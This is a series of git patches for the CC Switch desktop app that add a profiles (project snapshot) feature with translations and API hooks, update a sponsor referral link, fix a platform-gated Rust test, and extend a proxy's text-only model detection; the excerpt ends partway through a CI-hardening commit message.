"updateSnapshot": "現在の状態で更新", + "updateSnapshotConfirm": "プロジェクト「{{name}}」のスナップショットを現在の設定で上書きしますか?", + "delete": "削除", + "deleteConfirmTitle": "削除の確認", + "deleteConfirmMessage": "プロジェクト「{{name}}」を削除してもよろしいですか?現在の設定は変更されません。", + "createSuccess": "プロジェクトを作成しました", + "createFailed": "プロジェクトの作成に失敗しました: {{detail}}", + "updateSuccess": "プロジェクトを更新しました", + "updateFailed": "プロジェクトの更新に失敗しました: {{detail}}", + "deleteSuccess": "プロジェクトを削除しました", + "deleteFailed": "プロジェクトの削除に失敗しました: {{detail}}", + "applySuccess": "プロジェクトを適用しました", + "applyFailed": "プロジェクトの適用に失敗しました: {{detail}}", + "applyWarnings": "プロジェクトを適用しました(警告 {{warningCount}} 件):\n{{details}}", + "clearSuccess": "プロジェクトを使用しない状態に切り替えました" + }, "workspace": { "title": "ワークスペースファイル", "manage": "ワークスペース", diff --git a/src/i18n/locales/zh-TW.json b/src/i18n/locales/zh-TW.json index db353195f..efb66be80 100644 --- a/src/i18n/locales/zh-TW.json +++ b/src/i18n/locales/zh-TW.json @@ -1838,6 +1838,34 @@ "deleteMessage": "確定要刪除提示詞 \"{{name}}\" 嗎?" } }, + "profiles": { + "switcherTooltip": "專案:一鍵切換 Claude Code 與 Codex 的供應商 / MCP / Skills / 記憶檔案", + "none": "不使用專案", + "searchPlaceholder": "搜尋專案", + "empty": "尚無專案", + "createFromCurrent": "新建專案", + "createDescription": "把目前的供應商、MCP、Skills 和記憶檔案設定儲存為一個專案,之後可一鍵切換。", + "manage": "管理專案…", + "manageTitle": "管理專案", + "manageDescription": "專案是設定快照。要修改專案內容,先手動調好設定,再點「以目前狀態更新」。", + "namePlaceholder": "例如:開發、繪圖", + "rename": "重新命名", + "updateSnapshot": "以目前狀態更新", + "updateSnapshotConfirm": "用目前的設定狀態覆蓋專案 \"{{name}}\" 的快照?", + "delete": "刪除", + "deleteConfirmTitle": "確認刪除", + "deleteConfirmMessage": "確定要刪除專案 \"{{name}}\" 嗎?不會改動任何現有設定。", + "createSuccess": "專案已建立", + "createFailed": "建立專案失敗: {{detail}}", + "updateSuccess": "專案已更新", + "updateFailed": "更新專案失敗: {{detail}}", + "deleteSuccess": "專案已刪除", + "deleteFailed": "刪除專案失敗: {{detail}}", + "applySuccess": "專案已套用", + "applyFailed": "套用專案失敗: {{detail}}", + "applyWarnings": "專案已套用,{{warningCount}} 條警告:\n{{details}}", + "clearSuccess": "已切換為不使用專案" + }, "workspace": { "title": "Workspace 檔案管理", "manage": "Workspace", diff --git a/src/i18n/locales/zh.json b/src/i18n/locales/zh.json index 81fabc019..a3b5d116f 100644 --- a/src/i18n/locales/zh.json +++ b/src/i18n/locales/zh.json @@ -1866,6 +1866,34 @@ "deleteMessage": "确定要删除提示词 \"{{name}}\" 吗?" } }, + "profiles": { + "switcherTooltip": "项目:一键切换 Claude Code 与 Codex 的供应商 / MCP / Skills / 记忆文件", + "none": "不使用项目", + "searchPlaceholder": "搜索项目", + "empty": "暂无项目", + "createFromCurrent": "新建项目", + "createDescription": "把当前的供应商、MCP、Skills 和记忆文件配置保存为一个项目,之后可一键切换。", + "manage": "管理项目…", + "manageTitle": "管理项目", + "manageDescription": "项目是配置快照。要修改项目内容,先手动调好配置,再点\"以当前状态更新\"。", + "namePlaceholder": "例如:开发、绘图", + "rename": "重命名", + "updateSnapshot": "以当前状态更新", + "updateSnapshotConfirm": "用当前的配置状态覆盖项目 \"{{name}}\" 的快照?", + "delete": "删除", + "deleteConfirmTitle": "确认删除", + "deleteConfirmMessage": "确定要删除项目 \"{{name}}\" 吗?不会改动任何现有配置。", + "createSuccess": "项目已创建", + "createFailed": "创建项目失败: {{detail}}", + "updateSuccess": "项目已更新", + "updateFailed": "更新项目失败: {{detail}}", + "deleteSuccess": "项目已删除", + "deleteFailed": "删除项目失败: {{detail}}", + "applySuccess": "项目已应用", + "applyFailed": "应用项目失败: {{detail}}", + "applyWarnings": "项目已应用,{{warningCount}} 条警告:\n{{details}}", + "clearSuccess": "已切换为不使用项目" + }, "workspace": { "title": "Workspace 文件管理", "manage": "Workspace", diff --git a/src/lib/api/index.ts b/src/lib/api/index.ts index 47458b8c3..2c354bfc0 100644 --- a/src/lib/api/index.ts +++ b/src/lib/api/index.ts @@ -3,6 +3,7 @@ export { providersApi, universalProvidersApi } from "./providers"; export { settingsApi } from "./settings"; export { backupsApi } from "./settings"; export { mcpApi } from "./mcp"; +export { profilesApi } from "./profiles"; export { promptsApi } from "./prompts"; export { skillsApi } from "./skills"; export { usageApi } from "./usage"; @@ -17,6 +18,7 @@ export * as authApi from "./auth"; export * as copilotApi from "./copilot"; export type { ProviderSwitchEvent } from "./providers"; export type { Prompt } from "./prompts"; +export type { Profile, ProfilePayload, ProfilesResponse } from "./profiles"; export type { CopilotDeviceCodeResponse, CopilotAuthStatus, diff --git a/src/lib/api/profiles.ts b/src/lib/api/profiles.ts new file mode 100644 index 000000000..6526f2897 --- /dev/null +++ b/src/lib/api/profiles.ts @@ -0,0 +1,83 @@ +import { invoke } from "@tauri-apps/api/core"; + +/** + * 按 app 分槽的载荷容器(与后端 services/profile.rs 的 PerApp 严格对应) + */ +export interface PerApp { + claude: T; + codex: T; +} + +/** + * 项目 Profile 的配置快照(与后端 ProfilePayload 严格对应) + */ +export interface ProfilePayload { + providers: PerApp; + mcp: PerApp; + skills: PerApp; + prompts: PerApp; +} + +export interface Profile { + id: string; + name: string; + payload: ProfilePayload; + createdAt?: number; + updatedAt?: number; +} + +export interface ProfilesResponse { + profiles: Profile[]; + currentId: string | null; +} + +export const profilesApi = { + /** + * 获取所有项目及当前激活项目 id + */ + async list(): Promise { + return await invoke("list_profiles"); + }, + + /** + * 以当前配置状态创建新项目 + */ + async create(name: string): Promise { + return await invoke("create_profile", { name }); + }, + + /** + * 更新项目(重命名和/或以当前状态重拍快照) + */ + async update( + id: string, + options: { name?: string; resnapshot?: boolean }, + ): Promise { + return await invoke("update_profile", { + id, + name: options.name, + resnapshot: options.resnapshot, + }); + }, + + /** + * 删除项目 + */ + async delete(id: string): Promise { + return await invoke("delete_profile", { id }); + }, + + /** + * 应用项目快照,返回 warnings(best-effort,部分失败不中断) + */ + async apply(id: string): Promise { + return await invoke("apply_profile", { id }); + }, + + /** + * 不使用项目:仅清除激活标记,不改动任何配置 + */ + async clearCurrent(): Promise { + return await invoke("clear_current_profile"); + }, +}; diff --git a/src/lib/query/profiles.ts b/src/lib/query/profiles.ts new file mode 100644 index 000000000..dae856c23 --- /dev/null +++ b/src/lib/query/profiles.ts @@ -0,0 +1,145 @@ +import { useMutation, useQuery, useQueryClient } from "@tanstack/react-query"; +import { useTranslation } from "react-i18next"; +import { toast } from "sonner"; +import { profilesApi, providersApi } from "@/lib/api"; +import { extractErrorMessage } from "@/utils/errorUtils"; + +const updateTrayMenuSafely = async () => { + try { + await providersApi.updateTrayMenu(); + } catch (trayError) { + console.error("Failed to update tray menu after profile change", trayError); + } +}; + +export const useProfilesQuery = () => { + return useQuery({ + queryKey: ["profiles"], + queryFn: () => profilesApi.list(), + }); +}; + +export const useCreateProfileMutation = () => { + const queryClient = useQueryClient(); + const { t } = useTranslation(); + + return useMutation({ + mutationFn: (name: string) => profilesApi.create(name), + onSuccess: async () => { + await queryClient.invalidateQueries({ queryKey: ["profiles"] }); + await updateTrayMenuSafely(); + toast.success(t("profiles.createSuccess"), { closeButton: true }); + }, + onError: (error: Error) => { + const detail = extractErrorMessage(error) || t("common.unknown"); + toast.error(t("profiles.createFailed", { detail }), { + closeButton: true, + }); + }, + }); +}; + +export const useUpdateProfileMutation = () => { + const queryClient = useQueryClient(); + const { t } = useTranslation(); + + return useMutation({ + mutationFn: ({ + id, + name, + resnapshot, + }: { + id: string; + name?: string; + resnapshot?: boolean; + }) => profilesApi.update(id, { name, resnapshot }), + onSuccess: async () => { + await queryClient.invalidateQueries({ queryKey: ["profiles"] }); + await updateTrayMenuSafely(); + toast.success(t("profiles.updateSuccess"), { closeButton: true }); + }, + onError: (error: Error) => { + const detail = extractErrorMessage(error) || t("common.unknown"); + toast.error(t("profiles.updateFailed", { detail }), { + closeButton: true, + }); + }, + }); +}; + +export const useDeleteProfileMutation = () => { + const queryClient = useQueryClient(); + const { t } = useTranslation(); + + return useMutation({ + mutationFn: (id: string) => profilesApi.delete(id), + onSuccess: async () => { + await queryClient.invalidateQueries({ queryKey: ["profiles"] }); + await updateTrayMenuSafely(); + toast.success(t("profiles.deleteSuccess"), { closeButton: true }); + }, + onError: (error: Error) => { + const detail = extractErrorMessage(error) || t("common.unknown"); + toast.error(t("profiles.deleteFailed", { detail }), { + closeButton: true, + }); + }, + }); +}; + +export const useClearProfileMutation = () => { + const queryClient = useQueryClient(); + const { t } = useTranslation(); + + return useMutation({ + mutationFn: () => profilesApi.clearCurrent(), + onSuccess: async () => { + await queryClient.invalidateQueries({ queryKey: ["profiles"] }); + await updateTrayMenuSafely(); + toast.success(t("profiles.clearSuccess"), { closeButton: true }); + }, + onError: (error: Error) => { + const detail = extractErrorMessage(error) || t("common.unknown"); + toast.error(t("profiles.applyFailed", { detail }), { + closeButton: true, + }); + }, + }); +}; + +export const useApplyProfileMutation = () => { + const queryClient = useQueryClient(); + const { t } = useTranslation(); + + return useMutation({ + mutationFn: (id: string) => profilesApi.apply(id), + onSuccess: async (warnings) => { + await queryClient.invalidateQueries({ queryKey: ["profiles"] }); + await queryClient.invalidateQueries({ + queryKey: ["providers", "claude"], + }); + await queryClient.invalidateQueries({ queryKey: ["providers", "codex"] }); + await queryClient.invalidateQueries({ queryKey: ["mcp", "all"] }); + await queryClient.invalidateQueries({ queryKey: ["skills"] }); + await updateTrayMenuSafely(); + + if (warnings.length > 0) { + toast.warning( + t("profiles.applyWarnings", { + warningCount: warnings.length, + details: warnings.join("\n"), + }), + { closeButton: true, duration: 10000 }, + ); + } else { + toast.success(t("profiles.applySuccess"), { closeButton: true }); + } + }, + onError: (error: Error) => { + const detail = extractErrorMessage(error) || t("common.unknown"); + toast.error(t("profiles.applyFailed", { detail }), { + closeButton: true, + }); + }, + }); +}; From 6179c188054110aff5491332031d0f22d74c5cad Mon Sep 17 00:00:00 2001 From: Jason Date: Sat, 4 Jul 2026 17:32:51 +0800 Subject: [PATCH 08/73] fix(profiles): scope switcher to supported app tabs and relocate it - Render the profile switcher only when the active tab is Claude or Codex (frontend mirror of backend PROFILE_APPS), so viewing an unsupported app no longer suggests its config was switched - Move the switcher from beside the logo to the right of the route toggles, where the flexible spacer absorbs its appearance and other header controls no longer shift when switching tabs --- src/App.tsx | 9 ++++++++- src/components/profiles/ProfileSwitcher.tsx | 16 ++++++++++------ 2 files changed, 18 insertions(+), 7 deletions(-) diff --git a/src/App.tsx b/src/App.tsx index 48e95422e..df888dc32 100644 --- a/src/App.tsx +++ b/src/App.tsx @@ -1197,7 +1197,6 @@ function App() { CC Switch
- - + {confirm && ( setConfirm(null)} /> diff --git a/src/components/profiles/ProfileSwitcher.tsx b/src/components/profiles/ProfileSwitcher.tsx index 367070d2a..8273f76c3 100644 --- a/src/components/profiles/ProfileSwitcher.tsx +++ b/src/components/profiles/ProfileSwitcher.tsx @@ -246,7 +246,6 @@ export function ProfileSwitcher({ activeApp }: ProfileSwitcherProps) { setIsManageOpen(false)} /> diff --git a/src/components/profiles/scope.ts b/src/components/profiles/scope.ts index 7c8dab822..623983bba 100644 --- a/src/components/profiles/scope.ts +++ b/src/components/profiles/scope.ts @@ -12,13 +12,6 @@ export const APP_PROFILE_SCOPE: Partial> = { codex: "codex", }; -/** 分组显示名(产品名,不进 i18n;与后端托盘子菜单标签一致) */ -export const PROFILE_SCOPE_LABELS: Record = { - claude: "Claude Code", - "claude-desktop": "Claude Desktop", - codex: "Codex", -}; - /** 分组内的 payload 槽位 key(后端 ProfileScope::apps 的前端镜像) */ const SCOPE_SLOT_KEYS: Record)[]> = { claude: ["claude"], diff --git a/src/i18n/locales/en.json b/src/i18n/locales/en.json index f7492bf9f..73ba13faf 100644 --- a/src/i18n/locales/en.json +++ b/src/i18n/locales/en.json @@ -1883,11 +1883,9 @@ }, "manage": "Manage projects…", "manageTitle": "Manage Projects", - "manageDescription": "Projects are configuration snapshots. To change a project, adjust your configuration first, then click \"Update from current\".", + "manageDescription": "Projects are configuration snapshots. When you switch projects, the current configuration is automatically saved back to the project you are leaving.", "namePlaceholder": "e.g. Development, Drawing", "rename": "Rename", - "updateSnapshot": "Update from current", - "updateSnapshotConfirm": "Overwrite the {{group}} side of project \"{{name}}\" with the current configuration? Other apps' snapshots are unaffected.", "noSnapshotForScope": "Not saved for this app yet", "delete": "Delete", "deleteConfirmTitle": "Confirm Delete", diff --git a/src/i18n/locales/ja.json b/src/i18n/locales/ja.json index 9f163b6d2..36a46cd80 100644 --- a/src/i18n/locales/ja.json +++ b/src/i18n/locales/ja.json @@ -1883,11 +1883,9 @@ }, "manage": "プロジェクトを管理…", "manageTitle": "プロジェクト管理", - "manageDescription": "プロジェクトは設定のスナップショットです。内容を変更するには、先に設定を調整してから「現在の状態で更新」をクリックしてください。", + "manageDescription": "プロジェクトは設定のスナップショットです。プロジェクトを切り替えると、現在の設定は元のプロジェクトに自動的に保存されます。", "namePlaceholder": "例:開発、イラスト", "rename": "名前を変更", - "updateSnapshot": "現在の状態で更新", - "updateSnapshotConfirm": "プロジェクト「{{name}}」の {{group}} 側スナップショットを現在の設定で上書きしますか?他のアプリ側には影響しません。", "noSnapshotForScope": "このアプリ側は未保存", "delete": "削除", "deleteConfirmTitle": "削除の確認", diff --git a/src/i18n/locales/zh-TW.json b/src/i18n/locales/zh-TW.json index e098ba003..8ce60dbd6 100644 --- a/src/i18n/locales/zh-TW.json +++ b/src/i18n/locales/zh-TW.json @@ -1855,11 +1855,9 @@ }, "manage": "管理專案…", "manageTitle": "管理專案", - "manageDescription": "專案是設定快照。要修改專案內容,先手動調好設定,再點「以目前狀態更新」。", + "manageDescription": "專案是設定快照。切換專案時,目前設定會自動儲存回原專案。", "namePlaceholder": "例如:開發、繪圖", "rename": "重新命名", - "updateSnapshot": "以目前狀態更新", - "updateSnapshotConfirm": "用目前設定覆蓋專案 \"{{name}}\" 的 {{group}} 側快照?其他應用側的快照不受影響。", "noSnapshotForScope": "本側未儲存", "delete": "刪除", "deleteConfirmTitle": "確認刪除", diff --git a/src/i18n/locales/zh.json b/src/i18n/locales/zh.json index 1a5d87aaa..6c93a8b9e 100644 --- a/src/i18n/locales/zh.json +++ b/src/i18n/locales/zh.json @@ -1883,11 +1883,9 @@ }, "manage": "管理项目…", "manageTitle": "管理项目", - "manageDescription": "项目是配置快照。要修改项目内容,先手动调好配置,再点\"以当前状态更新\"。", + "manageDescription": "项目是配置快照。切换项目时,当前配置会自动保存回原项目。", "namePlaceholder": "例如:开发、绘图", "rename": "重命名", - "updateSnapshot": "以当前状态更新", - "updateSnapshotConfirm": "用当前配置覆盖项目 \"{{name}}\" 的 {{group}} 侧快照?其他应用侧的快照不受影响。", "noSnapshotForScope": "本侧未保存", "delete": "删除", "deleteConfirmTitle": "确认删除", From 7fada72dd40d12210f96d2b0824704673ad50f9d Mon Sep 17 00:00:00 2001 From: Jason Date: Tue, 7 Jul 2026 10:48:00 +0800 Subject: [PATCH 18/73] chore(code0): update partner invite link to agent register URL Replace the ?source=ccswitch referral with the new agent register invite link (https://code0.ai/agent/register/B2XHxGjGmRvqgznY) on code0's apiKeyUrl across all seven presets and the sponsor rows in all four READMEs. API endpoints stay bare per the referral red-line. --- README.md | 4 ++-- README_DE.md | 4 ++-- README_JA.md | 4 ++-- README_ZH.md | 4 ++-- src/config/claudeDesktopProviderPresets.ts | 2 +- src/config/claudeProviderPresets.ts | 2 +- src/config/codexProviderPresets.ts | 2 +- src/config/geminiProviderPresets.ts | 2 +- src/config/hermesProviderPresets.ts | 2 +- src/config/openclawProviderPresets.ts | 2 +- src/config/opencodeProviderPresets.ts | 2 +- 11 files changed, 15 insertions(+), 15 deletions(-) diff --git a/README.md b/README.md index e39e1969b..70a334134 100644 --- a/README.md +++ b/README.md @@ -125,8 +125,8 @@ TeamoRouter also offers enterprise features including centralized billing, team -code0.ai -Thanks to code0.ai for sponsoring this project! code0.ai is an AI coding service platform built for developers, supporting Claude Code, Codex, Gemini, and other mainstream AI coding capabilities. It helps individual developers and teams use AI Agents more stably and efficiently for coding, debugging, refactoring, and automation workflows. ccswitch users can contact customer support via the code0.ai website to claim test credits and experience a reliable AI coding service. +code0.ai +Thanks to code0.ai for sponsoring this project! code0.ai is an AI coding service platform built for developers, supporting Claude Code, Codex, Gemini, and other mainstream AI coding capabilities. It helps individual developers and teams use AI Agents more stably and efficiently for coding, debugging, refactoring, and automation workflows. ccswitch users can contact customer support via the code0.ai website to claim test credits and experience a reliable AI coding service. diff --git a/README_DE.md b/README_DE.md index dd80d9ef8..13bd0b8cd 100644 --- a/README_DE.md +++ b/README_DE.md @@ -125,8 +125,8 @@ TeamoRouter bietet außerdem Enterprise-Funktionen wie zentrale Abrechnung, Team -code0.ai -Vielen Dank an code0.ai für die Unterstützung dieses Projekts! code0.ai ist eine für Entwickler entwickelte AI-Coding-Service-Plattform, die Claude Code, Codex, Gemini und weitere gängige AI-Coding-Funktionen unterstützt. Sie hilft einzelnen Entwicklern und Teams, AI-Agents stabiler und effizienter für Programmierung, Debugging, Refactoring und Automatisierungs-Workflows zu nutzen. ccswitch-Nutzer können über die code0.ai-Website den Kundensupport kontaktieren, um Testguthaben zu erhalten und einen zuverlässigen AI-Coding-Service zu erleben. +code0.ai +Vielen Dank an code0.ai für die Unterstützung dieses Projekts! code0.ai ist eine für Entwickler entwickelte AI-Coding-Service-Plattform, die Claude Code, Codex, Gemini und weitere gängige AI-Coding-Funktionen unterstützt. Sie hilft einzelnen Entwicklern und Teams, AI-Agents stabiler und effizienter für Programmierung, Debugging, Refactoring und Automatisierungs-Workflows zu nutzen. ccswitch-Nutzer können über die code0.ai-Website den Kundensupport kontaktieren, um Testguthaben zu erhalten und einen zuverlässigen AI-Coding-Service zu erleben. diff --git a/README_JA.md b/README_JA.md index 6417ba09b..303c18477 100644 --- a/README_JA.md +++ b/README_JA.md @@ -125,8 +125,8 @@ TeamoRouter は、集中請求、チーム管理、BYOK、スマートルーテ -code0.ai -本プロジェクトをご支援いただいている code0.ai に感謝します!code0.ai は開発者向けの AI コーディングサービスプラットフォームで、Claude Code、Codex、Gemini などの主要な AI コーディング機能に対応しています。個人開発者やチームが、コーディング、デバッグ、リファクタリング、自動化ワークフローで AI Agent をより安定かつ効率的に活用できるよう支援します。ccswitch ユーザーは code0.ai 公式サイト からカスタマーサポートに連絡することで、テストクレジットを受け取り、信頼性の高い AI コーディングサービスを体験できます。 +code0.ai +本プロジェクトをご支援いただいている code0.ai に感謝します!code0.ai は開発者向けの AI コーディングサービスプラットフォームで、Claude Code、Codex、Gemini などの主要な AI コーディング機能に対応しています。個人開発者やチームが、コーディング、デバッグ、リファクタリング、自動化ワークフローで AI Agent をより安定かつ効率的に活用できるよう支援します。ccswitch ユーザーは code0.ai 公式サイト からカスタマーサポートに連絡することで、テストクレジットを受け取り、信頼性の高い AI コーディングサービスを体験できます。 diff --git a/README_ZH.md b/README_ZH.md index 7a47b887c..1ca6948e8 100644 --- a/README_ZH.md +++ b/README_ZH.md @@ -126,8 +126,8 @@ TeamoRouter 还提供企业级功能,包括集中账单、团队管理、BYOK -code0.ai -感谢 code0.ai 赞助本项目!code0.ai 是专为开发者打造的 AI 编程服务平台,支持 Claude Code、Codex、Gemini 等主流 AI 编程能力,帮助个人开发者和团队更稳定、更高效地使用 AI Agent 完成代码开发、调试与自动化任务。ccswitch 用户可通过 code0.ai 官网 联系客服领取测试额度,体验高效稳定的 AI 编程服务! +code0.ai +感谢 code0.ai 赞助本项目!code0.ai 是专为开发者打造的 AI 编程服务平台,支持 Claude Code、Codex、Gemini 等主流 AI 编程能力,帮助个人开发者和团队更稳定、更高效地使用 AI Agent 完成代码开发、调试与自动化任务。ccswitch 用户可通过 code0.ai 官网 联系客服领取测试额度,体验高效稳定的 AI 编程服务! diff --git a/src/config/claudeDesktopProviderPresets.ts b/src/config/claudeDesktopProviderPresets.ts index 9e8cb3f92..58dd7b7ff 100644 --- a/src/config/claudeDesktopProviderPresets.ts +++ b/src/config/claudeDesktopProviderPresets.ts @@ -790,7 +790,7 @@ export const claudeDesktopProviderPresets: ClaudeDesktopProviderPreset[] = [ { name: "Code0", websiteUrl: "https://code0.ai", - apiKeyUrl: "https://code0.ai?source=ccswitch", + apiKeyUrl: "https://code0.ai/agent/register/B2XHxGjGmRvqgznY", category: "aggregator", baseUrl: "https://code0.ai", mode: "direct", diff --git a/src/config/claudeProviderPresets.ts b/src/config/claudeProviderPresets.ts index 6a8f73dc4..324cd6292 100644 --- a/src/config/claudeProviderPresets.ts +++ b/src/config/claudeProviderPresets.ts @@ -865,7 +865,7 @@ export const providerPresets: ProviderPreset[] = [ { name: "Code0", websiteUrl: "https://code0.ai", - apiKeyUrl: "https://code0.ai?source=ccswitch", + apiKeyUrl: "https://code0.ai/agent/register/B2XHxGjGmRvqgznY", settingsConfig: { env: { ANTHROPIC_BASE_URL: "https://code0.ai", diff --git a/src/config/codexProviderPresets.ts b/src/config/codexProviderPresets.ts index 525fe6546..f2f41b16c 100644 --- a/src/config/codexProviderPresets.ts +++ b/src/config/codexProviderPresets.ts @@ -367,7 +367,7 @@ export const codexProviderPresets: CodexProviderPreset[] = [ { name: "Code0", websiteUrl: "https://code0.ai", - apiKeyUrl: "https://code0.ai?source=ccswitch", + apiKeyUrl: "https://code0.ai/agent/register/B2XHxGjGmRvqgznY", category: "aggregator", auth: generateThirdPartyAuth(""), config: generateThirdPartyConfig("code0", "https://code0.ai/v1", "gpt-5.5"), diff --git a/src/config/geminiProviderPresets.ts b/src/config/geminiProviderPresets.ts index 1d6d9b019..d8f4fcb6c 100644 --- a/src/config/geminiProviderPresets.ts +++ b/src/config/geminiProviderPresets.ts @@ -133,7 +133,7 @@ export const geminiProviderPresets: GeminiProviderPreset[] = [ { name: "Code0", websiteUrl: "https://code0.ai", - apiKeyUrl: "https://code0.ai?source=ccswitch", + apiKeyUrl: "https://code0.ai/agent/register/B2XHxGjGmRvqgznY", settingsConfig: { env: { GOOGLE_GEMINI_BASE_URL: "https://code0.ai", diff --git a/src/config/hermesProviderPresets.ts b/src/config/hermesProviderPresets.ts index 328eea3a6..547ac9bdc 100644 --- a/src/config/hermesProviderPresets.ts +++ b/src/config/hermesProviderPresets.ts @@ -248,7 +248,7 @@ export const hermesProviderPresets: HermesProviderPreset[] = [ { name: "Code0", websiteUrl: "https://code0.ai", - apiKeyUrl: "https://code0.ai?source=ccswitch", + apiKeyUrl: "https://code0.ai/agent/register/B2XHxGjGmRvqgznY", settingsConfig: { name: "code0", base_url: "https://code0.ai/v1", diff --git a/src/config/openclawProviderPresets.ts b/src/config/openclawProviderPresets.ts index cf737b542..6f770082c 100644 --- a/src/config/openclawProviderPresets.ts +++ b/src/config/openclawProviderPresets.ts @@ -511,7 +511,7 @@ export const openclawProviderPresets: OpenClawProviderPreset[] = [ { name: "Code0", websiteUrl: "https://code0.ai", - apiKeyUrl: "https://code0.ai?source=ccswitch", + apiKeyUrl: "https://code0.ai/agent/register/B2XHxGjGmRvqgznY", settingsConfig: { baseUrl: "https://code0.ai/v1", apiKey: "", diff --git a/src/config/opencodeProviderPresets.ts b/src/config/opencodeProviderPresets.ts index 336e7380d..a92a29c1b 100644 --- a/src/config/opencodeProviderPresets.ts +++ b/src/config/opencodeProviderPresets.ts @@ -453,7 +453,7 @@ export const opencodeProviderPresets: OpenCodeProviderPreset[] = [ { name: "Code0", websiteUrl: "https://code0.ai", - apiKeyUrl: "https://code0.ai?source=ccswitch", + apiKeyUrl: "https://code0.ai/agent/register/B2XHxGjGmRvqgznY", settingsConfig: { npm: "@ai-sdk/openai-compatible", name: "Code0", From afabe80167743b1acba51d7036588d62d872c7cb Mon Sep 17 00:00:00 2001 From: Jason Date: Tue, 7 Jul 2026 11:57:26 +0800 Subject: [PATCH 19/73] test(profiles): gate desktop-scope assertion by platform in profile roundtrip MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The desktop switch to d2 is cfg-gated to macOS/Windows, but the assertion expecting d2 was not, so on Linux CI the desktop provider stays at the seeded d1 and the assertion panics — poisoning the shared test mutex and cascading into two more failures. Expect d1 on non-desktop platforms. --- src-tauri/tests/profile_roundtrip.rs | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/src-tauri/tests/profile_roundtrip.rs b/src-tauri/tests/profile_roundtrip.rs index bc0931ce1..1f85f4987 100644 --- a/src-tauri/tests/profile_roundtrip.rs +++ b/src-tauri/tests/profile_roundtrip.rs @@ -218,15 +218,21 @@ fn profile_snapshot_apply_roundtrip_restores_configuration() { .expect("get current provider"); assert_eq!(current.as_deref(), Some("p1"), "provider restored to p1"); - // Claude 分组不再管理 Desktop:Desktop 保持 d2 不变 + // Claude 分组不再管理 Desktop:apply 后 Desktop 保持切换前的状态不变。 + // macOS/Windows 上上面已切到 d2;Linux(CI)不支持 Desktop 切换、那行被 cfg 门控 + // 编译剔除,Desktop 仍是种子值 d1。两种情况都验证 claude-scope apply 不会动 Desktop。 let current_desktop = state .db .get_current_provider(AppType::ClaudeDesktop.as_str()) .expect("get current desktop provider"); + #[cfg(any(target_os = "macos", windows))] + let expected_desktop = "d2"; + #[cfg(not(any(target_os = "macos", windows)))] + let expected_desktop = "d1"; assert_eq!( current_desktop.as_deref(), - Some("d2"), - "desktop provider stays at d2 after claude-scope apply" + Some(expected_desktop), + "desktop provider untouched by claude-scope apply" ); let servers = state.db.get_all_mcp_servers().expect("get mcp servers"); From 525346188be62e68d64bc9b06c491a18e81ad41b Mon Sep 17 00:00:00 2001 From: Jason Date: Tue, 7 Jul 2026 12:57:11 +0800 Subject: [PATCH 20/73] fix(proxy): close media fallback gaps for Volcano GLM 5.2 image 400s Fixes #5025. The rectifier's media fallback missed Volcano Coding Plan's GLM 5.2 on both paths: - Preventive: known_text_only_model had glm-5.1 but not glm-5.2, so image blocks were forwarded verbatim. Added glm-5.2 as an exact tail match (not a prefix, to avoid stripping images from a future glm-5.2v multimodal variant following Zhipu's 4v/5v naming). - Reactive: the upstream error "Model only support text input" never mentions image/media, so the mentions_image gate rejected it before hints ran; and the existing "only supports text" hint misses the gateway's missing third-person "s". Added a self-evident phrase list ("only support text" / "only supports text") that asserts a modality rejection on its own and bypasses the image-mention gate. Includes regression tests using the verbatim #5025 error body and the glm-5.2[1M] mapped-model form, plus a glm-5.2v negative assertion. --- src-tauri/src/proxy/media_sanitizer.rs | 43 +++++++++++++++++++++++++- 1 file changed, 42 insertions(+), 1 deletion(-) diff --git a/src-tauri/src/proxy/media_sanitizer.rs b/src-tauri/src/proxy/media_sanitizer.rs index 95b2aa305..880b18fa4 100644 --- a/src-tauri/src/proxy/media_sanitizer.rs +++ b/src-tauri/src/proxy/media_sanitizer.rs @@ -63,6 +63,19 @@ pub fn is_unsupported_image_error(error: &ProxyError) -> bool { let message = extract_error_text(body); let message = message.to_ascii_lowercase(); + + // 自证性表述:这类短语本身就断言了"仅接受文本",属于模态拒绝,无需再要求 + // 错误提到 image/media 等字样——火山方舟等网关的报错是 + // "Model only support text input",全程不出现 image(issue #5025)。 + // 国产网关的英文常缺三单 s,因此带 s / 不带 s 两种形式都要列。 + const TEXT_ONLY_SELF_EVIDENT_HINTS: &[&str] = &["only support text", "only supports text"]; + if TEXT_ONLY_SELF_EVIDENT_HINTS + .iter() + .any(|hint| message.contains(hint)) + { + return true; + } + let mentions_image = message.contains("image") || message.contains("vision") || message.contains("multimodal") @@ -83,7 +96,6 @@ pub fn is_unsupported_image_error(error: &ProxyError) -> bool { "doesn't support", "do not support", "don't support", - "only supports text", "text only", "text-only", "invalid content type", @@ -250,6 +262,9 @@ fn known_text_only_model(model: &str) -> bool { "deepseek-v4-flash", "deepseek-v4-pro", "glm-5.1", + // 精确匹配而非 TAIL_PREFIXES:智谱视觉版沿用 4v/5v 命名(glm-5.2v), + // 前缀匹配会误剥未来多模态变体的图片。 + "glm-5.2", "kat-coder", "kat-coder-pro", "kat-coder-pro v1", @@ -727,6 +742,32 @@ mod tests { assert!(is_unsupported_image_error(&error)); } + #[test] + fn detects_text_only_errors_without_image_mention() { + // 火山方舟真实报错(issue #5025):不含 image/media 等字样,且英文缺 + // 三单 s——旧逻辑的 mentions_image 门与 "only supports text" 提示都拦不住。 + let error = ProxyError::UpstreamError { + status: 400, + body: Some( + r#"{"error":{"message":"Model only support text input Request id: 021783"}}"# + .to_string(), + ), + }; + + assert!(is_unsupported_image_error(&error)); + } + + #[test] + fn glm_52_is_classified_text_only() { + // issue #5025:火山 Coding Plan 的 GLM 5.2 是纯文本端点, + // 映射链 glm-5.2[1M] 归一化后尾部为 glm-5.2。 + assert!(known_text_only_model("glm-5.2")); + assert!(known_text_only_model("GLM-5.2[1M]")); + assert!(known_text_only_model("zai-org/GLM-5.2")); + // 未来视觉版(智谱 4v/5v 命名惯例)不能被误判为纯文本。 + assert!(!known_text_only_model("glm-5.2v")); + } + #[test] fn ignores_non_image_errors() { let error = ProxyError::UpstreamError { From 468c93d4090502ecaf713e040734f88322f42e01 Mon Sep 17 00:00:00 2001 From: Jason Date: Tue, 7 Jul 2026 16:02:16 +0800 Subject: [PATCH 21/73] ci: harden release supply chain - Add CODEOWNERS so PRs to main require owner review (closes the gap where two collaborators could approve each other's changes). - Gate the release job behind a 'release' environment, so signing secrets are only unlocked after manual approval. - Stop ignoring the whole .github directory; this had been silently swallowing labeler.yml and 